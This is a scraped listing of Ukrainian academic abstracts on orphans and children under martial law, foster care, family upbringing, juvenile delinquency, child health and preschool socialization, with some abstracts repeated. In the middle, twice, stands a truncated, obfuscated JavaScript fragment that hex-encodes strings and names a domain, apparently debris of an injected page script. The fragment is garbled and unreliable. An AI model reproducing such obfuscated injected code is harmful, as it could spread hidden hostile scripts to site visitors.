Search

The article examines the issue of protecting the rights of orphans and children deprived of parental care during military operations. Particular attention was paid to the legislation of Ukraine on the social protection of orphans and children deprived of parental care, in particular: the Constitution of Ukraine, the resolution of the Cabinet of Ministers of Ukraine "On Amendments to Certain Resolutions of the Cabinet of Ministers of Ukraine Regarding the Protection of Children's Rights During a State of Emergency or Martial Law", "Convention on the Rights of the Child", the Resolution of the Cabinet of Ministers of Ukraine "On Approval of the Rules for Crossing the State Border by Citizens of Ukraine" and other legislative acts regulating legal relations related to the provision of material, social and legal assistance to orphans and children deprived of parental care . Children orphaned by war are the most vulnerable population in need of adequate protection and support. During the war, a large number of children lost their homes and parents, faced the horrors of war, got lost during bombings, evacuation from combat zones, went missing, were forcibly taken to the territory of the aggressor country and do not know anything about their parents, and all of them need proper protection from the state. They may face violence, hunger, disease and other challenges that threaten their lives and health. In addition, the widespread phenomenon of children going abroad, where the control procedure must also be ensured by the state both at the stage of preparation for departure and at the time of crossing the border. Children's travel abroad may be necessary for their safety and well-being. The state must also ensure the possibility of returning children to Ukraine if necessary. The authorities are obliged to ensure the realization of the rights of orphans and children deprived of parental care, in particular, by providing housing, food, medical care and education. Emphasis is placed on facilitating the provision of reliable protection and assistance to orphans and children deprived of parental care through the creation of chatbots by UNICEF (UN).&nbsp, У статті досліджується питання захисту прав дітей-сиріт та дітей позбавлених батьківського піклування під час військових дій. Звернено особливу увагу на законодавство України про соціальний захист дітей-сиріт, дітей, позбавлених батьківського піклування, зокрема: Конституцію України, постанову Кабінету Міністрів України «Про внесення змін до деяких постанов Кабінету Міністрів України щодо захисту прав дітей на період надзвичайного або воєнного стану», «Конвенцію про права дитини», постанову Кабінету Міністрів України «Про затвердження Правил перетинання державного кордону громадянами України» та інші законодавчі акти, що регулюють правовідносини, пов’язані з наданням матеріальної, соціальної та правової допомоги дітям-сиротам, дітям, позбавленим батьківського піклування. Діти, які стають сиротами внаслідок війни, є найбільш вразливою категорією населення, яка потребує належного захисту та підтримки. Під час війни численна кількість дітей втратили свої домівки та батьків, стикнулися з жахіттями війни, загубилися під час бомбардувань, евакуації з зон бойових дій, зникли безвісти, насильно вивезені на територію країни-агресора та не знають нічого про своїх батьків, і всі вони потребують належного захисту з боку держави. Вони можуть стикнутися з насильством, голодом, хворобами та іншими викликами, які ставлять під загрозу їхні життя та здоров'я. Крім того, розповсюджене явище виїзду дітей за кордон, де також процедура контролю має забезпечуватися державою як на стадії підготовки до виїзду, так і на моменті перетину кордону. Виїзд дітей за кордон може бути потрібним для їхньої безпеки та добробуту. Також держава повинна забезпечити можливість повернення дітей назад в Україну у разі необхідності. Влада зобов'язана забезпечувати реалізацію прав дітей-сиріт та дітей позбавлених батьківського піклування, зокрема, шляхом забезпечення житла, харчування, медичної допомоги та освіти. Наголошується на полегшенні забезпечення дітям- сиротам та дітям, позбавлених батьківського піклування надійного захисту та допомоги, шляхом створення чат-ботів організацією ЮНІСЕФ (ООН).

The family as an integral unit of society and a unique aspect of social relations is an important means of education and the formation of the moral foundations of the younger generation. It is in it that a complex and important process of the formation of a person’s personality takes place in all directions: physical, labor, spiritual, moral, aesthetic. The family not only lays the foundation, but also surrounds the person, living forever and consistently acquiring strong spiritual values, which expands the possibilities for spiritual upbringing and education, the formation of worldviews and enrichment of the inner world. It is here that the student first enters social life, studies his/her values, norms of behavior, way of thinking and language. In other words, the family is a school of education, the transfer of life experience, worldly wisdom. The main goal of the study is to determine the role and importance of the family in the formation of students as individuals. Awareness and realization of the needs and possibilities of forming a person’s moral principles in the family is one of the conditions for the comprehensive development of the individual. Therefore, it is important to determine the choice of “maternal connection” in the spiritual and moral world of a person in each specific historical period, with which you can show the optimal control effect on the nature of his/her spiritual and moral formation. The family, in turn, is a mechanism that follows from the moral, ethical, and sociocultural norms of society as a whole, laying the foundations for the moral education of the student’s personality and developing a mechanism for controlling his/her behavior. The existence of contradictions between these norms in real life further enhances the role of the family as an intermediary between society and the individual and affects the formation of the values of the young generation, Сім'я як невід'ємна складова суспільства і унікальний аспект суспільних відносин є важливим засобом виховання і формування моральних засад підростаючого покоління. Саме в ній відбувається складний і важливий процес формування особистості людини в усіх напрямках: фізичному, трудовому, духовному, моральному, естетичному. Сім’я не лише закладає основу, а й оточує людину, вічно живе й послідовно набуває міцних духовних цінностей, що розширює можливості для духовного виховання й освіти, формування світогляду та збагачення внутрішнього світу. Саме тут учень вперше вступає в суспільне життя, вивчає свої цінності, норми поведінки, спосіб мислення та мову. Іншими словами, сім’я – це школа виховання, передачі життєвого досвіду, життєвої мудрості. Основною метою дослідження є визначення ролі та значення сім’ї у формуванні учнів як особистостей. Усвідомлення та реалізація потреб і можливостей формування моральних засад особистості в сім’ї є однією з умов всебічного розвитку особистості. Тому важливо визначити вибір «материнського зв’язку» в духовно-моральному світі людини в кожен конкретний історичний період, за допомогою якого можна виявити оптимальний керуючий вплив на характер її духовно-морального становлення. Сім'я, у свою чергу, є механізмом, який випливає з морально-етичних і соціокультурних норм суспільства в цілому, закладаючи основи морального виховання особистості учня, розвиваючи механізм контролю за його\її поведінкою. Існування протиріч між цими нормами в реальному житті ще більше посилює роль сім’ї як посередника між суспільством і особистістю та впливає на формування ціннісних орієнтирів молодого покоління

The article examines the functioning of family-type orphanages and foster families as important forms of placement of orphans and children deprived of parental care in martial law. Attention is drawn to the peculiarities of the reception of orphans and children deprived of parental care in family-type orphanages and foster families during military events in Ukraine. Particular attention was paid to the legislation of Ukraine on social protection of orphans, children deprived of parental care, as well as orphans and children deprived of parental care, namely: the Constitution of Ukraine, the Law of Ukraine "On ensuring organizational and legal conditions of social protection of orphans, children deprived of parental care ", the resolution of the Cabinet of Ministers of Ukraine" On amendments to some resolutions of the Cabinet of Ministers of Ukraine on the protection of children's rights during a state of emergency or martial law of March 22, 2022 № 349 and other legislative acts regulating legal relations related to the provision of material, social and legal assistance to orphans, children deprived of parental care, as well as persons from among orphans and children deprived of parental care. foster family and a family-type orphanage are some of the most effective forms of placement for orphans and children deprived of parental care. After all, children whose parents have died or are unable to perform their duties due to various circumstances also need family warmth and upbringing. And we have a particularly sad result of the terrible war: thousands of children were orphaned, lost guardians or guardians, faced the horrors of war, lost during bombings, evacuations from combat zones, disappeared, forcibly deported to the aggressor country and know nothing about their parents., У статті досліджується питання функціонування дитячих будинків сімейного типу та прийомних сімей як важливих форм влаштування дітей-сиріт і дітей, позбавлених батьківського піклування в умовах воєнного стану. Звернено увагу на особливості прийому дітей-сиріт і дітей, позбавлених батьківського піклування до дитячих будинків сімейного типу та прийомних сімей під час військових подій в Україні. Звернено особливу увагу на законодавство України про соціальний захист дітей-сиріт, дітей, позбавлених батьківського піклування, а також осіб з числа дітей-сиріт та дітей, позбавлених батьківського піклування, а саме: Конституцію України, Закон України «Про забезпечення організаційно-правових умов соціального захисту дітей-сиріт, дітей, позбавлених батьківського піклування», постанову Кабінету Міністрів України «Про внесення змін до деяких постанов Кабінету Міністрів України щодо захисту прав дітей на період надзвичайного або воєнного стану» від 22 березня 2022 р.№ 349 та інші законодавчі акти, що регулюють правовідносини, пов’язані з наданням матеріальної, соціальної та правової допомоги дітям-сиротам, дітям, позбавленим батьківського піклування, а також особам із числа дітей-сиріт та дітей, позбавлених батьківського піклування. Прийомна сім’я та дитячий будинок сімейного типу є одними з найефективніших форм влаштування дітей-сиріт і дітей, позбавлених батьківського піклування. Адже діти, чиї батьки померли або в силу різних обставин не можуть виконувати свої обов’язки, також потребують родинного тепла і виховання. А особливо маємо сумний результат страшної війни: тисячі дітей залишилися сиротами, втратили піклувальників чи опікунів, стикнулися з жахіттями війни, загубилися під час бомбардувань, евакуації з зон бойових дій, зникли безвісти, насильно вивезені на територію країни-агресора та не знають нічого про своїх батьків.

Parents’ difficult life circumstances can impede the acquisitionof child’s necessary life skills and cause concern about its adequatesocialization and social health. The purpose of the article is to identifyand reveal ways to shape social health of children whose parents are indifficult life circumstances. Specialists should identify children’s problems,assist in solving them and provide social and pedagogical support.It is necessary to carry out therapeutic and corrective actions. In orderto promote socialization and social health, social workers, psychologists,social educators can use art therapy, game therapy, trainings, which arespecially designated for such children. The use of these methods reduceschildren’s level of negative emotions and anxiety, increases their selfconfidence,makes it possible to form sustainable behavioural reactions.The article explains the possibilities of extracurricular activities, theimpact of which on the shaping of social health can be recognized undoubtedly.Children’s participation in various kid’s clubs is an importanttype of activity. Extracurricular educational institutions create a platformfor positive informal communication, and their mentors’ influenceis also important. Participation in contests and competitions developspurposefulness, perseverance, ability to overcome difficulties; teaches tomake every effort to achieve results, to fight according to the rules, toaccept failures and defeats with dignity and aims to success. Due to activeparticipation in extracurricular activities, children create the basisfor further resilience, which involves the recognition of their personalcapabilities and vulnerability and is associated with personal success invarious spheres, especially against the background of stress or adverse circumstances. The process of socialization and shaping of children’s personalitywhose parents are in difficult life circumstances requires comprehensivesupport and participation of various social specialists for along time. If the educational potential of the family is reduced, it isnecessary to involve opportunities of other institutions that contributeto the shaping of social health., В статті досліджується проблема соціального здоров’я дітей, що виховуються в сім’ях, які перебувають в складних життєвих обставинах. Вказано на ризики формування соціального здоров’я дітей за умови зниження виховного потенціалу батьків. Зазначено, що процес соціалізації та становлення особистості потребує комплексної підтримки та участі різних фахівців соціальної сфери впродовж тривалого часу. Розкрито особливості соціально-педагогічного супроводу дітей. Обґрунтовано використання потенціалу закладів позашкільної освіти та необхідність залучення ресурсів інших інститутів, які сприяють формуванню соціального здоров’я.

The essence of the family’s upbringing potential, its peculiarities, the influence on the development of the child’s personality are highlighted, the problems of the impact of a disfunctional family on juvenile delinquency in the conditions of building civil society in Ukraine are analysed.

Відзначено, що фундаментальні зміни в політичних, соціальних, економічних умовах та в суспільній свідомості громадян України, які привнесли в суспільне життя чимало позитивного, призвели водночас до загострення суперечностей у сімейному вихованні дітей. Уміння їх вичленовувати, розуміти причини і взаємопов’язаність, передбачати шляхи їх розв’язання в інтересах родин та їх окремих членів на державному (у загальній і сімейній політиці держави), фаховому (зусиллями спеціалістів) та індивідуальному рівнях (зусиллями самих членів сімей) значною мірою могло б поліпшити становище сімей в Україні і можливості реалізації їх виховної функції. Наголошено, що вивчення природи виховного потенціалу сім’ї, його особливостей, наслідків, тенденцій має як наукове, так і практичне значення. Воно повинно бути основою для вдосконалювання соціальних відносин і інститутів громадянського суспільства, зміцнення системи соціального контролю, послідовної реалізації заходів соціалізації, відповідальності. Усі вони спрямовані на те, щоб забезпечити максимальний захист особистості, задоволення інтересів громадян, демократизацію і гуманізацію нашого суспільства. Використано дані дослідження, яке проводилось протягом 5-ти років у Харкові з використанням традиційних методів одержання інформації. Підкреслено, що успішна реалізація виховного потенціалу родини в значній мірі залежить від її типу та рівня матеріального забезпечення, культури сімейних стосунків, педагогічної культури батьків, характеру батьківського контролю та рівня поінформованості про життя дитини поза межами сім’ї, особливостей взаємодії сім’ї з дошкільними закладами і школами. Зазначено, що труднощі виконання родиною виховної функції значною мірою пов’язані із відсутністю загальних стратегій виховання дитини в сім’ї, недостатньою підготовкою молоді до материнства і батьківства. Державна політика допомоги сім’ї, материнству, дитинству – один з основних напрямів внутрішньої політики країни. Ідеться про вплив на процеси, що мають виняткове значення для майбутнього розвитку суспільства.

The essence of the family’s upbringing potential, its peculiarities, the influence on the development of the child’s personality are highlighted, the problems of the impact of a disfunctional family on juvenile delinquency in the conditions of building civil society in Ukraine are analysed., Освещаются сущность воспитательного потенциала семьи, его особенности, влияние на развитие личности ребенка, осуществляется анализ проблем влияния неблагополучной семьи на преступность несовершеннолетних в условиях построения гражданского общества в Украине., Постановка проблеми. Фундаментальні зміни в політичних, соціальних, економічних умовах та в суспільній свідомості громадян України, які привнесли в суспільне життя чимало позитивного, призвели водночас до загострення суперечностей у сімейному вихованні дітей. На думку науковців, викладачів, працівників різних закладів, які мають справу з неповнолітніми, основною причиною злочинності неповнолітніх є несприятлива обстановка в сім′ї та її негативний вплив. Уміння вичленовувати, розуміти причини і взаємопов’язаність суперечностей у сімейному вихованні дітей, передбачати шляхи їх розв’язання в інтересах родин та їх окремих членів на державному (у загальній і сімейній політиці держави), фаховому (зусиллями спеціалістів) та індивідуальному рівнях (зусиллями самих членів родин) значною мірою могло б поліпшити становище сімей в Україні і можливості реалізації їх виховної функції, тим самим вплинути на зниження рівня злочинності неповнолітніх. Аналіз останніх досліджень і публікацій. Загальнотеоретичні аспекти проблем сім′ї висвітлені у працях вчених: Л. Амджадін, О. Антонова, А. Байдалакіної, С. Голода, Т. Гурко, Д. Дікової-Фаворської, Є. Захарченко, Т. Кравченко, М. Мацьковського, І. Міньковського тощо. Основні теоретичні і методологічні, наукові напрями проблеми виховання дитини в родині відображені в працях класиків педагогіки та психології, зокрема Л. Виготського, Я. Коменського, Г. Костюка, А. Макаренка, В. Сухомлинського та інших, а також: А. Бесєдіна, М. Буянова, А. Грись, І. Топольскової, О. Шенкевич тощо. Найгострішою проблемою сьогодення залишається проблема злочинної поведінки молоді. Загальнотеоретичні аспекти порушеної проблеми висвітлювались у працях таких вчених, як В. Голіна, І. Даньшин, І. Двойменний, А. Долгова, В. Єрмаков, В. Кудрявцев, І. Рущенко, І. Топольскова, Н. Яковлєва та ін. У центрі уваги їх публікацій – характеристика особистості неповнолітніх злочинців, причин їх злочинної поведінки й заходи її запобігання. Знання цих особливостей дозволяє вийти на причини й умови, що сприяють виникненню деформацій і їх реалізації в поведінці, яка порушує право. Отже, ми одержуємо надійні орієнтири для профілактики, причому по можливості більш ранньої.Метою статті є аналіз впливу неблагополучної родини на злочинність неповнолітніх.Виклад основного матеріалу. Основне джерело формування перекручувань особистості підлітка, що обумовлюють вчинення злочину, - недоліки і порушення у сімейному вихованні. Сімейне неблагополуччя — поняття комплексне, що має ряд ознак, зокрема: а) порушення структури сім′ї (неповні сім′ї); б) занепад моральної позиції її членів; в) недоліки і перекрученість педагогічних знань батьків, відсутність у них навичок виховання дітей і т.ін. Бездоглядність - постійний супутник злочинів неповнолітніх, одна з умов, що сприяють їхньому вчиненню. Як одна з умов вчинення злочину визначається слабкий контроль за неповнолітніми. Мова йде не просто про послаблення формального контролю батьків за поведінкою дітей, але і про сформований мікроклімат у родині, серйозні недоліки у самому ставленні батьків до своїх функцій вихователів, демонстрації дітям соціальної безвідповідальності, байдужості до їхньої долі або очевидної для дітей неможливості повноцінного виконання цих функцій. Багатьом неблагополучним родинам властиві відразу кілька видів антигромадської поведінки: зловживання спиртними напоями, наркотиками; сварки, конфлікти, бійки; неприязне ставлення до інших людей. Неблагополучна родина формує дітей за своїм образом і подобою. Негативні форми поведінки дорослих членів родини сприяють тому, що неповнолітній не просто переймає негативні образи поведінки, але і засвоює негативну ціннісну орієнтацію, реалізуючи її вже у власній антигромадській поведінці. Це, зокрема, позначається на мотивах і характері злочинів. Для нейтралізації несприятливих умов у сім′ї, їх негативного впливу на криміналізацію неповнолітніх потрібна державна програма подолання всіх видів сімейного неблагополуччя. Як висновок, відзначимо, що розробка даної проблеми може мати не тільки теоретичний, а й практичний інтерес, а подальше її дослідження надасть додаткових можливостей для правильних і своєчасних висновків стосовно не тільки сьогодення, а й майбуття щодо створення умов для укорінення в суспільстві духовно і фізично здорової, матеріально забезпеченої, соціально благополучної сім′ї, виконання нею своїх функцій. Це ‑ один з основних напрямів внутрішньої політики країни. Йдеться про вплив на процеси, що мають виняткове значення для майбутнього розвитку суспільства.

One of the most important current causes of metabolic syndrome in children, besides irrational nutrition and lowering the quality of food products, is the low level of parents’ knowledge about health­preserving and preventive measures for improving the health of children. The article addresses the problem of improving the health of children to prevent the development of metabolic syndrome through a program of medical and psychological support in a modern school, which includes the following stages: diagnostic (for identifying the problem), informational (improving the health­savingcompetence of the participants in the educational process), preparatory (preparation of individual programs of support for each student, with the development of recommendations for parents and teachers), development (aimed at the harmonious development of students).The objective of this study was to justify the model of metabolic syndrome prevention in primary school pupils through the medical and psychological support of development of health preserving competence of parents on the basis of hygienic assessment of family nutrition.Materials and methods. The cross-sectional medical­statistical study was carried out among the parents of 588 elementary school students studying in a big city (regional center — 243 children), small town (126 children) and rural areas (219 children).Results and discussion. One of the most important reasons for deterioration of health is the disturbance of the nutrition structure and the decline in its quality. The article describes the formation of the food culture of Ukrainian families. An analysis of the nutritional status of elementary school students found that only (3.6 ± 0.8) % of children eat 2 or less times a day. The overwhelming majority of children (88.8 ± 1.3) %) eat 3—4 times a day. A significant proportion of children do not receive meat, fish and dairy products daily. The recommended norm for daily consumption of vegetables and fruits by children is not met by 25 % of parents.Conclusions. The developed program of medical and psychological support corresponds to the strategy of the subject of targeted prevention, which takes into account the personal characteristics of the family and is based on its active attitude towards its own health and aims at solving the problem of development of metabolic syndrome of children of primary school age and reducing non­communicable diseases among children., На сегодняшний день одной из основных причин развития метаболического синдрома среди детей, кроме нерационального питания и снижения качества пищевых продуктов, является низкий уровень знаний родителей о профилактических средствах улучшения состояния здоровья детей. В статье рассмотрена проблема улучшения состояния здоровья детей для предотвращения развития метаболического синдрома путем реализации программы медико-психологического сопровождения в школе. Эта программа включает следующие этапы: диагностический (идентификация проблемы), информационный (повышение компетентности участников образовательного процесса для сохранения здоровья), подготовительный (составление индивидуальной программы медико-психологического сопровождения для каждого ученика, разработка рекомендаций для родителей и учителя), развивающий (обеспечение гармоничного развития ребенка).Цель работы — обоснование модели профилактики метаболического синдрома среди учащихся начальной школы путем медико-психологического сопровождения развития здоровьесберегающей компетентности родителей на основании гигиенической оценки питания семьи.Материалы и методы. Проведено одноразовое медико-статистическое исследование при участии родителей 588 учащихся начальной школы, проживающих в большом городе (в областном центре — 243 ребенка), небольшом городе (126 детей) и сельской местности (219 детей).Результаты и обсуждение. Одной из наиболее весомых причин ухудшения состояния здоровья детей является нарушение структуры питания и снижения его качества. В статье освещены особенности формирования культуры питания украинских семей. Проведенный анализ характера питания учащихся начальной школы установил, что лишь (3,6 ± 0,8) % детей питаются два или меньше раз в день. Подавляющее большинство детей (88,8 ± 1,3) % питаются 3—4 раза в день. Значительная часть детей не получают ежедневно мясо, рыбу, молоко и молочные продукты. Рекомендуемые нормы еже­­дневного потребления детьми овощей и фруктов не соблюдаются 25 % родителей.Выводы. Разработанная программа медико-психологической поддержки учащихся начальной школы и их родителей соответствует стратегии субъект-ориентированной профилактики, учитывающей семейные традиции, основанной на активном отношении всех членов семьи к собственному здоровью и направленной на предупреждение метаболического синдрома и снижение частоты неинфекционных заболеваний среди детей младшего школьного возраста., На цей час однією з основних причин розвитку метаболічного синдрому у дітей, окрім нераціонального харчування та зниження якості харчових продуктів, є низький рівень знань батьків щодо профілактичних засобів, спрямованих на збереження та покращення здоров’я дитини. У статті розглянуто проблему покращення стану здоров’я дітей для запобігання розвитку метаболічного синдрому шляхом реалізації програми медико-психологічного супроводу учнів та їхніх батьків у сучасній школі. Ця програма включає такі етапи: діагностичний (ідентифікація проблеми), інформаційний (підвищення компетентності учасників освітнього процесу щодо збереження здоров’я), підготовчий (складання індивідуальної програми медико-психологічного супроводу для кожного учня, розроблення рекомендацій для батьків та вчителя), розвиваючий (забезпечення гармонійного розвитку дитини).Мета роботи — обґрунтування моделі профілактики метаболічного синдрому серед учнів початкової школи шляхом медико-психологічного супроводу розвитку здоров’язберігаючої компетентності батьків на підставі гігієнічної оцінки харчування родини.Матеріали та методи. Проведено одноразове медико-статистичне дослідження за участю батьків 588 учнів початкової школи, які проживають у великому місті (в обласному центрі — 243 дитини), малому місті (126 дітей) та сільській місцевості (219 дітей).Результати та обговорення. Однією з найбільш вагомих причин погіршення стану здоров’я дітей є порушення структури харчування та зниження його якості. У статті висвітлено особливості формування культури харчування українських родин. Проведений аналіз характеру харчування учнів початкової школи встановив, що лише (3,6 ± 0,8) % дітей харчуються двічі або менше разів на день. У переважної більшості дітей (88,8 ± 1,3) % 3—4-разове харчування. Значна частка дітей щодня не отримує м’ясо, рибу, молоко та молочні вироби. Рекомендованої для дітей норми щоденного споживання овочів та фруктів не дотримуються 25 % батьків.Висновки. Розроблена програма медико-психологічного супроводу учнів початкової школи та їхніх батьків відповідає стратегії зорієнтованої на суб’єкта профілактики, яка враховує традиції у родині, ґрунтується на активному ставленні її членів до власного здоров’я і спрямована на запобігання розвитку метаболічного синдрому та зниження частоти неінфекційних захворювань серед дітей молодшого шкільного віку.

In the article rises the problem of interrelation of parents and their children, and its concrete negative expression is a theme of the one’s share childhood. The object of research became the works of two outstanding writers of the end of XIX – beginning of the XX centuries: Russian – Vladimir Korolenko (a story «Children of cave») and Ukrainian – Boris Grinchenko (stories «Stole», «Gritsko»).Attention is accented on factors, influencing on forming of child as a personality: public hierarchy of families, financial position, complete or incomplete family, amount of children in family, education of parents, dependence of child of the character of family relations etc. All of these stipulate position of child in society, his place in the social medium, his fate., Не будучи знайомими, Володимир Короленко та Борис Грінченко мали багато спільного: обидва родом з України (Володимир Галактіонович народився в Житомирі, дитинство провів у місті Рівному; Борис Дмитрович народився на хуторі Вільховому Ярі на Харківщині); мали доньок (В. Г. Короленко – чотирьох: Соню, Наташу, Олю, Олену. Дві останні померли ще в дитинстві. У Б. Д. Грінченка була одна Настя, яка прожила 23 роки і також померла на руках у батька). Обидва працювали вчителями (Борис Дмитрович – на Харківщині, Сумщині, Луганщині; Володимир Галактіонович – в Амзі під час заслання), мали активну громадянську позицію, а головне – висвітлювали проблеми тогочасного суспільства, проблеми дітей у своїх творах.

Стаття присвячена питанню входження дитини у нову сім’ю.

Стаття присвячена дослідженню проблеми впливу сім’ї та сімейнихцінностей на формування духовності особистості дитини.

У статті висвітлюється проблема допомо-ги сім’ям, які виховують дітей з обмеженими можливостями. Акцен-тується увага на особливостях емоційного стану батьків, їх специфічнесприйняття оточуючих. Розглядається феномен відторгнення допомо-ги, який підкреслює наявність у батьків захисних механізмів психіки.Встановлено, що одним із факторів, який ще більше провокує відтор-гнення, є сприйняття соціумом дитини-інваліда, чому й виникають такіпроблеми: інтеграція дітей у соціум, психологічна корекція емоційнихстанів батьків і їх взаємин з оточуючими, допомога персоналу, який су-проводжує сім’ю у процесі виховання та розвитку дитини з обмеженимиможливостями та функціональними розладами.

У статті висвітлюється проблематика міграції та її масштабів, ознак демо- соціальних мігрантів, а також розглядається поняття «діти мігрантів». Автор підкреслює важливість усвідомлення суспільством наслідків, які несе з собою заробітчанська еміграція. Глобальні суспільні, політичні, економічні і культурні зміни, які відбуваються в останніх декадах, стають причиною того, що питання міграції стає одним із найважливіших явищ суспільного життя в Польщі. Поняття закордонних міграцій розглядається в різних аспектах, у політичній, психологічній, економічній, історичній площині. Проблема функціонування родин, члени яких перебувають на заробітках, є досить багатоаспектною та надзвичайно складною. Масовість і розповсюдженість міграції значною мірою впливає на образ сучасних польських сімей. У наступній частині автор ширше описує негативні наслідки міграцій, які переживають сім’ї. «Неповність» сім’ї, спричинена міграцією одного з батьків чи батьків, викликає негативні наслідки у виховному процесі. Безсумнівно, така міграція змінює структуру та спосіб реалізації основних функцій родини. До цих наслідків відноситься також порушення у процесі комунікації. Виїзди за кордон як на певний період, так і на постійно, визначають спосіб спілкування в родині – опосередковано чи безпосередньо. Можна констатувати той факт, що крім економічних втрат, життя в еміграції пов’язане з високим психологічним напруженням. Відсутність одного з батьків відображається на виховному процесі, що призводить до виникнення в психіці дитини невідворотного спустошення, а негативні наслідки можуть проявитися в дорослому житті. Тому батьки повинні замислитись, якими можуть бути наслідки міграції для розвитку дитини.

Розкрито поняття «безпритульність»; проаналізовано причини, негативні наслідки безпритульності, сучасний стан цієї проблеми; зроблено висновок, що проблеми дитячої безпритульності є віддзеркаленням політико-економічних та соціально-культурних суперечностей перехідного етапу розвитку українського суспільства;запропоновано шляхи її профілактики в умовах побудови громадянського суспільства в Україні. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "fil.nlu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "fil.nlu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

У статті представлено науково-теоретичний аналіз стану розробки проблеми адаптації дітей раннього віку в умовах дошкільного закладу. Визначено, що проблема адаптації до умов дошкільного закладу стосується дитини 2–6 років. Доведено, що процес поступового входження у світ поширених соціальних зв’язків та його освоєння отримав назву «соціалізація». Зазначено, що соціалізація забезпечує індивідуалізацію, оскільки лише у соціальних зв’язках, спілкуванні, взаємодії відбувається самовизначення у соціокультурному просторі та розвивається самосвідомість. Доведено, що становлення особистості у дошкільні роки – поступальний розвиток «Я» на кожному новому етапі дитинства. Констатовано, що перші враження й перші уроки спілкування дитина отримує в сім’ї: тут вона відчуває ставлення до себе, спостерігає взаємини між дорослими, переймає їхні форми поведінки, тут складаються моральні риси її характеру. Зазначено, що найважливішим новоутворенням у період кризи третього року вважається виникнення нового відчуття «Я». Розвиток нового ставлення до себе виникає внаслідок формування самооцінювання дитини під впливом оцінювання дорослим її досягнень. Установлено, що особистісний розвиток дитини неможливий без допомоги дорослого.

Відзначено, що фундаментальні зміни в політичних, соціальних, економічних умовах та в суспільній свідомості громадян України, які привнесли в суспільне життя чимало позитивного, призвели водночас до загострення суперечностей у сімейному вихованні дітей. Уміння їх вичленовувати, розуміти причини і взаємопов’язаність, передбачати шляхи їх розв’язання в інтересах родин та їх окремих членів на державному (у загальній і сімейній політиці держави), фаховому (зусиллями спеціалістів) та індивідуальному рівнях (зусиллями самих членів сімей) значною мірою могло б поліпшити становище сімей в Україні і можливості реалізації їх виховної функції. Наголошено, що вивчення природи виховного потенціалу сім’ї, його особливостей, наслідків, тенденцій має як наукове, так і практичне значення. Воно повинно бути основою для вдосконалювання соціальних відносин і інститутів громадянського суспільства, зміцнення системи соціального контролю, послідовної реалізації заходів соціалізації, відповідальності. Усі вони спрямовані на те, щоб забезпечити максимальний захист особистості, задоволення інтересів громадян, демократизацію і гуманізацію нашого суспільства. Використано дані дослідження, яке проводилось протягом 5-ти років у Харкові з використанням традиційних методів одержання інформації.Підкреслено, що успішна реалізація виховного потенціалу родини в значній мірі залежить від її типу та рівня матеріального забезпечення, культури сімейних стосунків, педагогічної культури батьків, характеру батьківського контролю та рівня поінформованості про життя дитини поза межами сім’ї, особливостей взаємодії сім’ї з дошкільними закладами і школами. Зазначено, що труднощі виконання родиною виховної функції значною мірою пов’язані із відсутністю загальних стратегій виховання дитини в сім’ї, недостатньою підготовкою молоді до материнства і батьківства. Державна політика допомоги сім’ї, материнству, дитинству – один з основних напрямів внутрішньої політики країни. Ідеться про вплив на процеси, що мають виняткове значення для майбутнього розвитку суспільства., Освещаются сущность воспитательного потенциала семьи, его особенности, преимущества, влияние на развитие личности ребенка, осуществляется анализ проблем повышения воспитательного потенциала семьи в условиях построения гражданского общества в Украине., The essence of the educational potential of the family, its features, advantages and its influence on the development of a child’s personality has been highlighted and analyses of the problems of the improving of the family educational potential in the conditions of the civil society building in Ukraine has been implemented.

У статті представлено науково-теоретичний аналіз стану розробки проблеми соціального розвитку дитини дошкільного віку. Визначено, що соціальний розвиток особистості – це взаємопов’язаний процес соціалізації-індивідуалізації дитини дошкільного віку. Доводиться, що дошкільний вік характеризується новою соціальною ситуацією розвитку, коли значно розширюються сфера взаємодії та коло спілкування дитини; спілкування з дорослим значно ускладнюється, набуває нових форм і змісту. Зазначено, що взаємини дошкільняти з дорослим набувають пізнавально-наслідувального змісту – дитина в іграх копіює діяльність значимого дорослого та ставить йому велику кількість запитань. Доведено, що гра – соціальна за своїм походженням та змістом, вона є історичним утворенням, пов’язаним із розвитком суспільства, його культури; вона являє собою діяльність, у якій діти виконують ролі дорослих, відтворюючи в ігровому середовищі їхнє життя, працю та відносини між ними; через гру дошкільники задовольняють свої потреби в спілкуванні з дорослими, у суспільному житті з ними. Констатовано, що особливої привабливості та значущості набувають взаємини дошкільника з ровесниками, а стійкий інтерес до взаємодії з іншими дітьми виникає в зв’язку з ускладненням гри та розширенням сфери соціалізації дошкільника; спілкуючись із ровесниками, дитина будує взає мини не на основі підкорення, як із дорослими, а з позицій рівності. Зазначено, що спілкування дошкільника з ровесниками призводить до низки психологічних наслідків: формування навичок соціальної взаємодії, вдосконалення здатності підтримувати розмову та ділитись інформацією, вироблення комунікативної гнучкості шляхом підкорення та домінування в ході гри, становлення самооцінки шляхом порівняння себе з іншими дітьми, розвиток емпатії, здатності до турботи. Отже, соціальна ситуація розвитку дошкільника ускладнюється і диференціюється, суттєво змінюються стосунки з дорослими та ровесниками, які й надалі залишаються центром її життя.

In the article the importance of social interaction of school and a family, and its necessity in the process of socialization of a child have been substantiated. Theoretical aspects of organization of social interaction in general and between school and a family in particular have been singled out. Based on the Ukrainian laws and regulations an analysis of the legal principles of the abovementioned interaction has been made, as well as its main forms of manifestations and characteristics have been detected. Certain contradictions have been considered, the solution of which stipulates necessity of social interaction between schools and families. There has been also made a research of technology of organization of effective in the socialization of a child interaction of educational institutions and families. The most common forms and methods of such cooperation have been revealed in this paper.

